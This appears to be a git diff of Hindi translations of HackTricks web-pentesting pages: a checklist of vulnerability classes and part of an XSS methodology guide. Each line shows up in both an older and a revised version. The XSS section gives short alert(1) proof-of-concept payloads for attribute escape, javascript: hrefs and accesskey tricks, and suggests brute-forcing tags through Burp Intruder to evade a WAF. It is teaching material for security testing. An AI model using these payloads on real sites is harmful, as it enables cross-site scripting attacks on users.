> आजकल **वेब** **ऐप्लिकेशन** आमतौर पर **कुछ प्रकार के** **मध्यस्थ** **प्रॉक्सी** का उपयोग करते हैं, जिनका (दुरुपयोग) कमजोरियों का शोषण करने के लिए किया जा सकता है। इन कमजोरियों के लिए एक कमजोर प्रॉक्सी की आवश्यकता होती है, लेकिन आमतौर पर इसके लिए बैकएंड में कुछ अतिरिक्त कमजोरी की भी आवश्यकता होती है।
|
||||
|
||||
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
|
||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
|
||||
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**Proxy / WAF Protections Bypass**](../proxy-waf-protections-bypass.md)
|
||||
- [ ] [**हॉप-बाय-हॉप हेडर का दुरुपयोग**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**कैश पॉइज़निंग/कैश धोखा**](../cache-deception.md)
|
||||
- [ ] [**HTTP अनुरोध स्मगलिंग**](../http-request-smuggling/index.html)
|
||||
- [ ] [**H2C स्मगलिंग**](../h2c-smuggling.md)
|
||||
- [ ] [**सर्वर साइड समावेशन/एज साइड समावेशन**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**क्लाउडफ्लेयर का अनावरण**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
- [ ] [**XSLT सर्वर साइड इंजेक्शन**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**प्रॉक्सी / WAF सुरक्षा बायपास**](../proxy-waf-protections-bypass.md)
|
||||
|
||||
## **User input**
|
||||
## **उपयोगकर्ता इनपुट**
|
||||
|
||||
> [!NOTE]
|
||||
> अधिकांश वेब एप्लिकेशन **उपयोगकर्ताओं को कुछ डेटा इनपुट करने की अनुमति देंगे जिसे बाद में संसाधित किया जाएगा।**\
|
||||
> डेटा की संरचना के आधार पर, सर्वर कुछ कमजोरियों की अपेक्षा कर सकता है जो लागू हो सकती हैं या नहीं।
|
||||
> डेटा की संरचना के आधार पर, सर्वर कुछ कमजोरियों की अपेक्षा कर रहा है, जो लागू हो सकती हैं या नहीं।
|
||||
|
||||
### **Reflected Values**
|
||||
### **प्रतिबिंबित मान**
|
||||
|
||||
यदि प्रस्तुत डेटा किसी तरह से प्रतिक्रिया में परिलक्षित हो सकता है, तो पृष्ठ कई मुद्दों के लिए कमजोर हो सकता है।
|
||||
यदि प्रस्तुत डेटा किसी तरह से प्रतिक्रिया में प्रतिबिंबित हो सकता है, तो पृष्ठ कई मुद्दों के लिए कमजोर हो सकता है।
|
||||
|
||||
- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
|
||||
- [ ] [**Command Injection**](../command-injection.md)
|
||||
- [ ] [**क्लाइंट साइड टेम्पलेट इंजेक्शन**](../client-side-template-injection-csti.md)
|
||||
- [ ] [**कमांड इंजेक्शन**](../command-injection.md)
|
||||
- [ ] [**CRLF**](../crlf-0d-0a.md)
|
||||
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
|
||||
- [ ] [**Open Redirect**](../open-redirect.md)
|
||||
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/)
|
||||
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/)
|
||||
- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
|
||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSS**](../xss-cross-site-scripting/)
|
||||
- [ ] [**डैंगलिंग मार्कअप**](../dangling-markup-html-scriptless-injection/index.html)
|
||||
- [ ] [**फाइल समावेशन/पथTraversal**](../file-inclusion/index.html)
|
||||
- [ ] [**ओपन रीडायरेक्ट**](../open-redirect.md)
|
||||
- [ ] [**प्रोटोटाइप प्रदूषण से XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**सर्वर साइड समावेशन/एज साइड समावेशन**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**सर्वर साइड अनुरोध धोखाधड़ी**](../ssrf-server-side-request-forgery/index.html)
|
||||
- [ ] [**सर्वर साइड टेम्पलेट इंजेक्शन**](../ssti-server-side-template-injection/index.html)
|
||||
- [ ] [**रिवर्स टैब नबिंग**](../reverse-tab-nabbing.md)
|
||||
- [ ] [**XSLT सर्वर साइड इंजेक्शन**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
|
||||
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
|
||||
- [ ] [**XS-Search**](../xs-search.md)
|
||||
|
||||
कुछ उल्लेखित कमजोरियों के लिए विशेष परिस्थितियों की आवश्यकता होती है, अन्य केवल सामग्री के परिलक्षित होने की आवश्यकता होती है। आप कुछ दिलचस्प पॉलीग्लॉट्स पा सकते हैं जो जल्दी से कमजोरियों का परीक्षण करने के लिए हैं:
|
||||
कुछ उल्लेखित कमजोरियों के लिए विशेष परिस्थितियों की आवश्यकता होती है, अन्य केवल सामग्री के प्रतिबिंबित होने की आवश्यकता होती है। आप कुछ दिलचस्प पॉलीग्लॉट्स पा सकते हैं जो जल्दी से कमजोरियों का परीक्षण करने के लिए हैं:
|
||||
|
||||
{{#ref}}
|
||||
../pocs-and-polygloths-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
### **Search functionalities**
|
||||
### **खोज कार्यक्षमताएँ**
|
||||
|
||||
यदि कार्यक्षमता का उपयोग बैकएंड में किसी प्रकार के डेटा की खोज के लिए किया जा सकता है, तो शायद आप इसे मनमाने डेटा की खोज के लिए (दुरुपयोग) कर सकते हैं।
|
||||
यदि कार्यक्षमता का उपयोग बैकएंड के अंदर किसी प्रकार के डेटा को खोजने के लिए किया जा सकता है, तो शायद आप इसे मनमाने डेटा को खोजने के लिए (दुरुपयोग) कर सकते हैं।
|
||||
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
|
||||
- [ ] [**NoSQL Injection**](../nosql-injection.md)
|
||||
- [ ] [**LDAP Injection**](../ldap-injection.md)
|
||||
- [ ] [**फाइल समावेशन/पथTraversal**](../file-inclusion/index.html)
|
||||
- [ ] [**NoSQL इंजेक्शन**](../nosql-injection.md)
|
||||
- [ ] [**LDAP इंजेक्शन**](../ldap-injection.md)
|
||||
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
|
||||
- [ ] [**SQL Injection**](../sql-injection/)
|
||||
- [ ] [**XPATH Injection**](../xpath-injection.md)
|
||||
- [ ] [**SQL इंजेक्शन**](../sql-injection/index.html)
|
||||
- [ ] [**XPATH इंजेक्शन**](../xpath-injection.md)
|
||||
|
||||
### **Forms, WebSockets and PostMsgs**
|
||||
### **फॉर्म, वेबसॉकेट और पोस्टमैसेज**
|
||||
|
||||
जब एक वेब सॉकेट एक संदेश पोस्ट करता है या एक फॉर्म उपयोगकर्ताओं को क्रियाएँ करने की अनुमति देता है, तो कमजोरियाँ उत्पन्न हो सकती हैं।
|
||||
जब एक वेबसॉकेट एक संदेश पोस्ट करता है या एक फॉर्म उपयोगकर्ताओं को क्रियाएँ करने की अनुमति देता है, तो कमजोरियाँ उत्पन्न हो सकती हैं।
|
||||
|
||||
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
|
||||
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
|
||||
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/)
|
||||
- [ ] [**क्रॉस साइट अनुरोध धोखाधड़ी**](../csrf-cross-site-request-forgery.md)
|
||||
- [ ] [**क्रॉस-साइट वेबसॉकेट हाईजैकिंग (CSWSH)**](../websocket-attacks.md)
|
||||
- [ ] [**पोस्टमैसेज कमजोरियाँ**](../postmessage-vulnerabilities/index.html)
|
||||
|
||||
### **HTTP Headers**
|
||||
### **HTTP हेडर**
|
||||
|
||||
वेब सर्वर द्वारा दिए गए HTTP हेडर के आधार पर कुछ कमजोरियाँ मौजूद हो सकती हैं।
|
||||
|
||||
- [ ] [**Clickjacking**](../clickjacking.md)
|
||||
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/)
|
||||
- [ ] [**Cookies Hacking**](../hacking-with-cookies/)
|
||||
- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
|
||||
- [ ] [**क्लिकजैकिंग**](../clickjacking.md)
|
||||
- [ ] [**सामग्री सुरक्षा नीति बायपास**](../content-security-policy-csp-bypass/index.html)
|
||||
- [ ] [**कुकीज़ हैकिंग**](../hacking-with-cookies/index.html)
|
||||
- [ ] [**CORS - गलत कॉन्फ़िगरेशन और बायपास**](../cors-bypass.md)
|
||||
|
||||
### **Bypasses**
|
||||
### **बायपास**
|
||||
|
||||
कुछ विशिष्ट कार्यक्षमताएँ हैं जहाँ कुछ वर्कअराउंड उन्हें बायपास करने के लिए उपयोगी हो सकते हैं
|
||||
कुछ विशिष्ट कार्यक्षमताएँ हैं जहाँ कुछ वर्कअराउंड्स उनके बायपास करने के लिए उपयोगी हो सकते हैं
|
||||
|
||||
- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
|
||||
- [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
|
||||
- [ ] [**Captcha Bypass**](../captcha-bypass.md)
|
||||
- [ ] [**Login Bypass**](../login-bypass/)
|
||||
- [ ] [**Race Condition**](../race-condition.md)
|
||||
- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
|
||||
- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
|
||||
- [ ] [**Registration Vulnerabilities**](../registration-vulnerabilities.md)
|
||||
- [ ] [**2FA/OTP बायपास**](../2fa-bypass.md)
|
||||
- [ ] [**भुगतान प्रक्रिया बायपास**](../bypass-payment-process.md)
|
||||
- [ ] [**कैप्चा बायपास**](../captcha-bypass.md)
|
||||
- [ ] [**लॉगिन बायपास**](../login-bypass/index.html)
|
||||
- [ ] [**रेस कंडीशन**](../race-condition.md)
|
||||
- [ ] [**रेट लिमिट बायपास**](../rate-limit-bypass.md)
|
||||
- [ ] [**भूल गए पासवर्ड रीसेट बायपास**](../reset-password.md)
|
||||
- [ ] [**पंजीकरण कमजोरियाँ**](../registration-vulnerabilities.md)
|
||||
|
||||
### **Structured objects / Specific functionalities**
|
||||
### **संरचित वस्तुएँ / विशिष्ट कार्यक्षमताएँ**
|
||||
|
||||
कुछ कार्यक्षमताओं के लिए **डेटा को एक बहुत विशिष्ट प्रारूप में संरचित करने की आवश्यकता होगी** (जैसे एक भाषा सीरियलाइज्ड ऑब्जेक्ट या XML)। इसलिए, यह पहचानना आसान है कि क्या एप्लिकेशन कमजोर हो सकता है क्योंकि इसे उस प्रकार के डेटा को संसाधित करना होगा।\
|
||||
कुछ कार्यक्षमताओं के लिए **डेटा को एक बहुत विशिष्ट प्रारूप में संरचित करने की आवश्यकता होगी** (जैसे एक भाषा सीरियलाइज्ड ऑब्जेक्ट या XML)। इसलिए, यह पहचानना आसान है कि क्या एप्लिकेशन कमजोर हो सकता है क्योंकि इसे उस प्रकार के डेटा को संसाधित करने की आवश्यकता होती है।\
|
||||
कुछ **विशिष्ट कार्यक्षमताएँ** भी कमजोर हो सकती हैं यदि **इनपुट का एक विशिष्ट प्रारूप उपयोग किया जाता है** (जैसे ईमेल हेडर इंजेक्शन)।
|
||||
|
||||
- [ ] [**Deserialization**](../deserialization/)
|
||||
- [ ] [**Email Header Injection**](../email-injections.md)
|
||||
- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
|
||||
- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
|
||||
- [ ] [**डेसिरियलाइजेशन**](../deserialization/index.html)
|
||||
- [ ] [**ईमेल हेडर इंजेक्शन**](../email-injections.md)
|
||||
- [ ] [**JWT कमजोरियाँ**](../hacking-jwt-json-web-tokens.md)
|
||||
- [ ] [**XML एक्सटर्नल एंटिटी**](../xxe-xee-xml-external-entity.md)
|
||||
|
||||
### Files
|
||||
### फ़ाइलें
|
||||
|
||||
फंक्शनलिटीज जो फ़ाइलें अपलोड करने की अनुमति देती हैं, कई मुद्दों के लिए कमजोर हो सकती हैं।\
|
||||
फंक्शनलिटीज जो उपयोगकर्ता इनपुट सहित फ़ाइलें उत्पन्न करती हैं, अप्रत्याशित कोड निष्पादित कर सकती हैं।\
|
||||
उपयोगकर्ता जो उपयोगकर्ताओं द्वारा अपलोड की गई फ़ाइलें या स्वचालित रूप से उत्पन्न फ़ाइलें खोलते हैं, वे समझौता हो सकते हैं।
|
||||
उपयोगकर्ता जो उपयोगकर्ताओं द्वारा अपलोड की गई फ़ाइलें या स्वचालित रूप से उत्पन्न फ़ाइलें खोलते हैं, वे समझौता कर सकते हैं।
|
||||
|
||||
- [ ] [**File Upload**](../file-upload/)
|
||||
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
- [ ] [**फाइल अपलोड**](../file-upload/index.html)
|
||||
- [ ] [**फॉर्मूला इंजेक्शन**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**PDF इंजेक्शन**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**सर्वर साइड XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
### **External Identity Management**
|
||||
### **बाहरी पहचान प्रबंधन**
|
||||
|
||||
- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
|
||||
- [ ] [**SAML Attacks**](../saml-attacks/)
|
||||
- [ ] [**OAUTH से खाता अधिग्रहण**](../oauth-to-account-takeover.md)
|
||||
- [ ] [**SAML हमले**](../saml-attacks/index.html)
|
||||
|
||||
### **Other Helpful Vulnerabilities**
|
||||
### **अन्य सहायक कमजोरियाँ**
|
||||
|
||||
ये कमजोरियाँ अन्य कमजोरियों का शोषण करने में मदद कर सकती हैं।
|
||||
|
||||
- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
|
||||
- [ ] [**डोमेन/सबडोमेन अधिग्रहण**](../domain-subdomain-takeover.md)
|
||||
- [ ] [**IDOR**](../idor.md)
|
||||
- [ ] [**Parameter Pollution**](../parameter-pollution.md)
|
||||
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/)
|
||||
- [ ] [**पैरामीटर प्रदूषण**](../parameter-pollution.md)
|
||||
- [ ] [**यूनिकोड सामान्यीकरण कमजोरी**](../unicode-injection/index.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -11,7 +11,7 @@
|
||||
2. क्या आप `javascript:` प्रोटोकॉल का समर्थन करने वाले इवेंट या विशेषताएँ उपयोग कर सकते हैं?
|
||||
3. क्या आप सुरक्षा उपायों को बायपास कर सकते हैं?
|
||||
4. क्या HTML सामग्री को किसी क्लाइंट साइड JS इंजन (_AngularJS_, _VueJS_, _Mavo_...) द्वारा व्याख्यायित किया जा रहा है, आप [**क्लाइंट साइड टेम्पलेट इंजेक्शन**](../client-side-template-injection-csti.md) का दुरुपयोग कर सकते हैं।
|
||||
5. यदि आप JS कोड निष्पादित करने वाले HTML टैग नहीं बना सकते हैं, तो क्या आप [**डैंगलिंग मार्कअप - HTML स्क्रिप्टलेस इंजेक्शन**](../dangling-markup-html-scriptless-injection/) का दुरुपयोग कर सकते हैं?
|
||||
5. यदि आप JS कोड निष्पादित करने वाले HTML टैग नहीं बना सकते हैं, तो क्या आप [**डैंगलिंग मार्कअप - HTML स्क्रिप्टलेस इंजेक्शन**](../dangling-markup-html-scriptless-injection/index.html) का दुरुपयोग कर सकते हैं?
|
||||
2. एक **HTML टैग** के अंदर:
|
||||
1. क्या आप कच्चे HTML संदर्भ में बाहर निकल सकते हैं?
|
||||
2. क्या आप JS कोड निष्पादित करने के लिए नए इवेंट/विशेषताएँ बना सकते हैं?
|
||||
@ -25,7 +25,7 @@
|
||||
4. Javascript **कार्य** जो **निष्पादित** हो रहा है:
|
||||
1. आप निष्पादित करने के लिए कार्य का नाम निर्दिष्ट कर सकते हैं। उदाहरण: `?callback=alert(1)`
|
||||
4. यदि **उपयोग किया गया**:
|
||||
1. आप **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित है और क्या आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।**
|
||||
1. आप एक **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित है और यदि आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।**
|
||||
|
||||
जब आप एक जटिल XSS पर काम कर रहे हों, तो जानना दिलचस्प हो सकता है:
|
||||
|
||||
@ -37,9 +37,9 @@ debugging-client-side-js.md
|
||||
|
||||
XSS का सफलतापूर्वक शोषण करने के लिए, आपको सबसे पहले एक **मान खोजने की आवश्यकता है जिसे आप नियंत्रित करते हैं और जो वेब पृष्ठ में परिलक्षित हो रहा है।**
|
||||
|
||||
- **अंतरिम रूप से परिलक्षित**: यदि आप पाते हैं कि किसी पैरामीटर का मान या यहां तक कि पथ वेब पृष्ठ में परिलक्षित हो रहा है, तो आप **परिलक्षित XSS** का शोषण कर सकते हैं।
|
||||
- **संग्रहीत और परिलक्षित**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, सर्वर में सहेजा गया है और हर बार जब आप एक पृष्ठ तक पहुँचते हैं तो यह परिलक्षित होता है, तो आप **संग्रहीत XSS** का शोषण कर सकते हैं।
|
||||
- **JS के माध्यम से पहुँचा गया**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, JS का उपयोग करके पहुँचाया जा रहा है, तो आप **DOM XSS** का शोषण कर सकते हैं।
|
||||
- **अंतरिम रूप से परिलक्षित**: यदि आप पाते हैं कि किसी पैरामीटर का मान या यहां तक कि पथ वेब पृष्ठ में परिलक्षित हो रहा है, तो आप एक **परिलक्षित XSS** का शोषण कर सकते हैं।
|
||||
- **संग्रहीत और परिलक्षित**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, सर्वर में सहेजा गया है और हर बार जब आप एक पृष्ठ तक पहुँचते हैं तो यह परिलक्षित होता है, तो आप एक **संग्रहीत XSS** का शोषण कर सकते हैं।
|
||||
- **JS के माध्यम से पहुँचा गया**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, JS का उपयोग करके पहुँचाया जा रहा है, तो आप एक **DOM XSS** का शोषण कर सकते हैं।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
@ -54,9 +54,9 @@ XSS का सफलतापूर्वक शोषण करने के
|
||||
|
||||
यदि आपका इनपुट किसी टैग की विशेषता के मान के अंदर परिलक्षित होता है, तो आप कोशिश कर सकते हैं:
|
||||
|
||||
1. **विशेषता और टैग से बाहर निकलने** के लिए (फिर आप कच्चे HTML में होंगे) और दुरुपयोग के लिए नया HTML टैग बनाएं: `"><img [...]`
|
||||
1. **विशेषता और टैग से बाहर निकलने के लिए** (फिर आप कच्चे HTML में होंगे) और दुरुपयोग के लिए नया HTML टैग बनाएं: `"><img [...]`
|
||||
2. यदि आप **विशेषता से बाहर निकल सकते हैं लेकिन टैग से नहीं** (`>` को एन्कोड किया गया है या हटा दिया गया है), तो टैग के आधार पर आप **एक इवेंट बना सकते हैं** जो JS कोड निष्पादित करता है: `" autofocus onfocus=alert(1) x="`
|
||||
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परिलक्षित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। **उदाहरण** के लिए, यदि आप `onclick=` जैसे इवेंट को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परिलक्षित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। **उदाहरण** के लिए, यदि आप एक इवेंट जैसे `onclick=` को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परिलक्षित होता है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए कुछ प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
यदि आप एक वर्ग नाम को नियंत्रित करते हैं तो Angular द्वारा XSS निष्पादित करने का अजीब उदाहरण:
|
||||
@ -112,9 +112,9 @@ nextElementSibiling
|
||||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
आप सीधे **Javascript फ़ंक्शंस** को **trigger** करने की कोशिश कर सकते हैं: `obj.sales.delOrders`।
|
||||
आप सीधे **Javascript फ़ंक्शन** को भी **ट्रिगर** करने की कोशिश कर सकते हैं: `obj.sales.delOrders`।
|
||||
|
||||
हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स में ज्यादा दिलचस्प DOM नहीं होता है, **समान मूल के अन्य पृष्ठों** में **ज्यादा दिलचस्प DOM** होगा जिससे अधिक क्रियाएँ की जा सकें।
|
||||
हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स ऐसे एंडपॉइंट्स होते हैं जिनमें ज्यादा दिलचस्प DOM नहीं होता है, **समान मूल के अन्य पृष्ठों** में **ज्यादा दिलचस्प DOM** होगा जिससे अधिक क्रियाएँ की जा सकें।
|
||||
|
||||
इसलिए, **विभिन्न DOM में इस भेद्यता का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया:
|
||||
|
||||
@ -132,7 +132,7 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार की **मनमानी JavaScript निष्पादन** का दुरुपयोग **RCE** प्राप्त करने, **क्लाइंट्स और सर्वर्स में मनमाने फ़ाइलों को पढ़ने**, और अधिक के लिए किया जा सकता है।\
|
||||
इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार की **मनमानी JavaScript निष्पादन** का दुरुपयोग **RCE** प्राप्त करने, **क्लाइंट्स और सर्वर्स में मनमाने फ़ाइलों को पढ़ने**, और अधिक के लिए भी किया जा सकता है।\
|
||||
कुछ **उदाहरण**:
|
||||
|
||||
{{#ref}}
|
||||
@ -150,7 +150,7 @@ server-side-xss-dynamic-pdf.md
|
||||
## कच्चे HTML के अंदर इंजेक्ट करना
|
||||
|
||||
जब आपका इनपुट **HTML पृष्ठ के अंदर** परिलक्षित होता है या आप इस संदर्भ में HTML कोड को बचा सकते हैं और इंजेक्ट कर सकते हैं, तो **पहली** चीज़ जो आपको करनी चाहिए वह यह है कि आप जांचें कि क्या आप `<` का दुरुपयोग करके नए टैग बना सकते हैं: बस उस **चर** को **परिलक्षित** करने की कोशिश करें और जांचें कि क्या इसे **HTML एन्कोडेड** किया गया है या **हटाया** गया है या यदि यह **बिना बदलाव के परिलक्षित** हो रहा है। **केवल अंतिम मामले में आप इस मामले का शोषण कर पाएंगे**।\
|
||||
इन मामलों के लिए **याद रखें** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**।**\
|
||||
इन मामलों के लिए भी **याद रखें** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**।**\
|
||||
&#xNAN;_**नोट: एक HTML टिप्पणी को बंद किया जा सकता है\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*या \*\*\*\*\*\***`--!>`\*\**_
|
||||
|
||||
इस मामले में और यदि कोई ब्लैक/व्हाइटलिस्टिंग का उपयोग नहीं किया गया है, तो आप ऐसे पे लोड का उपयोग कर सकते हैं:
|
||||
@ -166,7 +166,7 @@ alert(1)
|
||||
|
||||
### टैग/इवेंट्स ब्रूट-फोर्स
|
||||
|
||||
जाएँ [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में खोजा नहीं गया था। एक बार जब आप यह पता लगा लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप **वैध टैग का उपयोग करके सभी इवेंट्स का ब्रूट-फोर्स कर सकते हैं** (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)।
|
||||
जाएँ [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में खोजा नहीं गया। एक बार जब आप यह पता लगा लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप **वैध टैग का उपयोग करके सभी इवेंट्स का ब्रूट-फोर्स कर सकते हैं** (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)।
|
||||
|
||||
### कस्टम टैग
|
||||
|
||||
@ -239,18 +239,18 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
यदि किसी भेद्यता का लाभ उठाने के लिए आपको **उपयोगकर्ता को एक लिंक या एक फॉर्म** पर क्लिक करने की आवश्यकता है जिसमें पूर्व-भरे हुए डेटा हैं, तो आप [**Clickjacking का दुरुपयोग करने**](../clickjacking.md#xss-clickjacking) की कोशिश कर सकते हैं (यदि पृष्ठ भेद्य है)।
|
||||
यदि किसी भेद्यता का लाभ उठाने के लिए आपको **उपयोगकर्ता को एक लिंक या फॉर्म पर क्लिक करने की आवश्यकता है** जिसमें पूर्व-भरे हुए डेटा हैं, तो आप [**Clickjacking का दुरुपयोग करने की कोशिश कर सकते हैं**](../clickjacking.md#xss-clickjacking) (यदि पृष्ठ भेद्य है)।
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
यदि आप सोचते हैं कि **JS कोड निष्पादित करने के लिए एक HTML टैग के साथ एक विशेषता बनाना असंभव है**, तो आपको [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) की जांच करनी चाहिए क्योंकि आप **JS** कोड निष्पादित किए बिना **भेद्यता का लाभ उठा सकते हैं**।
|
||||
यदि आप केवल यह सोचते हैं कि **JS कोड निष्पादित करने के लिए एक HTML टैग के साथ एक विशेषता बनाना असंभव है**, तो आपको [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/index.html) की जांच करनी चाहिए क्योंकि आप **बिना** **JS** कोड निष्पादित किए भेद्यता का **लाभ उठा सकते हैं**।
|
||||
|
||||
## Injecting inside HTML tag
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
यदि आप **HTML टैग के अंदर हैं**, तो आप जो पहली चीज़ कर सकते हैं वह है **टैग से बचना** और [पिछले अनुभाग](#injecting-inside-raw-html) में उल्लिखित कुछ तकनीकों का उपयोग करके JS कोड निष्पादित करना।\
|
||||
